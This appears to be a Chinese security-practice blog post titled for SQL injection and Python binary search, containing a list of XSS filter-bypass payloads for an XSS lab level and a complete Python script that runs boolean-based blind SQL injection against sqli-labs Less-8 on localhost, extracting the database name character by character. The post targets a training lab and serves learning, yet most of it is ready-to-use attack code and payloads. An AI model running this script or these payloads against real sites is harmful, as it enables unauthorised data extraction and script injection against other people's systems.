sql注入以及Python二分查找

sql注入

/level1.php?name=<script>alert(1)</script>

"><script>alert(1)</script>

'οnclick='alert(1)

" οnclick="alert(1)

"><a href="javascript:alert(1)">

"><a HrEf="javascript:alert(1)">

"><scscriptript>alert(1)</sscriptcript>

HTML字符实体转换,网页字符实体编码https://www.qqxiuzi.cn/bianma/zifushiti.php

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

Python二分查找

python 复制代码
import requests
import time

# 配置信息
BASE_URL = "http://127.0.0.1/range/sqli-labs/Less-8/"
SUCCESS_MESSAGE = "You are in..........."
CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!@#$%^&*()-+=`~[]{}|;:\",./<>?'
HEADERS = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Connection': 'keep-alive',
}
TIMEOUT = 5  # 请求超时时间(秒)
DELAY = 0.1  # 请求间隔时间(秒)

def send_payload(payload):
    """发送SQL注入payload并返回是否成功"""
    try:
        url = f"{BASE_URL}?id={payload}"
        response = requests.get(url, headers=HEADERS, timeout=TIMEOUT)
        time.sleep(DELAY)  # 避免请求过快
        return SUCCESS_MESSAGE in response.text
    except requests.RequestException as e:
        print(f"请求异常: {e}")
        return False

def binary_search(min_val, max_val, payload_template, char_mode=False):
    """通用二分查找函数"""
    left, right = min_val, max_val
    while left <= right:
        mid = (left + right) // 2
        current_char = chr(mid) if char_mode else mid
        
        # 大于判断
        payload = payload_template.format(operator='>', value=current_char)
        if send_payload(payload):
            left = mid + 1
            continue
            
        # 小于判断
        payload = payload_template.format(operator='<', value=current_char)
        if send_payload(payload):
            right = mid - 1
            continue
            
        # 等于
        return current_char
    
    return None

def get_length_digits_count():
    """获取数据库名长度的位数"""
    print("[+] 正在获取数据库名长度的位数...")
    payload_template = "1' and if(substr(length(length(database())), 1, 1){operator}{value}, 1, 0)--+"
    return binary_search(0, 9, payload_template)

def get_database_length(digits_count):
    """获取数据库名的长度"""
    print(f"[+] 数据库名长度的位数: {digits_count}")
    print("[+] 正在获取数据库名长度...")
    
    length_str = ''
    for i in range(1, digits_count + 1):
        payload_template = f"1' and if(substr(length(database()), {i}, 1){{operator}}{{value}}, 1, 0)--+"
        digit = binary_search(0, 9, payload_template)
        if digit is None:
            print(f"[-] 获取第 {i} 位长度失败")
            return None
        length_str += str(digit)
        print(f"[*] 已获取长度第 {i}/{digits_count} 位: {digit}")
    
    return int(length_str)

def get_database_name(length):
    """获取数据库名"""
    print(f"[+] 数据库名长度: {length}")
    print("[+] 正在获取数据库名...")
    
    db_name = ''
    for i in range(1, length + 1):
        payload_template = f"1' and if(ascii(substr(database(), {i}, 1)){{operator}}{{value}}, 1, 0)--+"
        char_code = binary_search(32, 126, payload_template, char_mode=True)
        if char_code is None:
            print(f"[-] 获取第 {i} 个字符失败")
            char = '?'
        else:
            char = chr(char_code)
        db_name += char
        print(f"[*] 已获取字符 {i}/{length}: {char} ({char_code})")
    
    return db_name

if __name__ == '__main__':
    try:
        digits_count = get_length_digits_count()
        if digits_count is None:
            print("[-] 获取数据库名长度的位数失败")
            exit(1)
            
        db_length = get_database_length(digits_count)
        if db_length is None:
            print("[-] 获取数据库名长度失败")
            exit(1)
            
        db_name = get_database_name(db_length)
        print(f"\n[+] 数据库名获取完成: {db_name}")
        print(f"[+] 数据库名长度: {db_length}")
        
    except KeyboardInterrupt:
        print("\n[-] 用户中断")
        exit(1)
    except Exception as e:
        print(f"[-] 发生错误: {e}")
        exit(1)
相关推荐
枷锁—sha37 分钟前
从零掌握XML与DTD实体:原理、XXE漏洞攻防
xml·前端·网络·chrome·web安全·网络安全
Whoisshutiao6 小时前
网安-DNSlog
网络安全
王木风9 小时前
InnoDB 多版本控制 &慢sql排查(基于MySQL 5.7)
数据库·sql·mysql
泛冬以南10 小时前
涉及海量数据的查询SQL建议使用“数据库函数”封装并调用
sql·mybatis·达梦数据库·亿级数据查询·表函数
modelmd15 小时前
mysql not in 查询引发的bug问题记录
sql·mysql
枷锁—sha15 小时前
【DVWA系列】——CSRF——Medium详细教程
android·服务器·前端·web安全·网络安全·csrf
枷锁—sha15 小时前
跨站请求伪造漏洞(CSRF)详解
运维·服务器·前端·web安全·网络安全·csrf
2301_7807896619 小时前
UDP和TCP的主要区别是什么
服务器·网络协议·web安全·网络安全·udp
一只栖枝21 小时前
HCIA-Security 认证精讲!网络安全理论与实战全掌握
网络·web安全·网络安全·智能路由器·hcia·it·hcia-security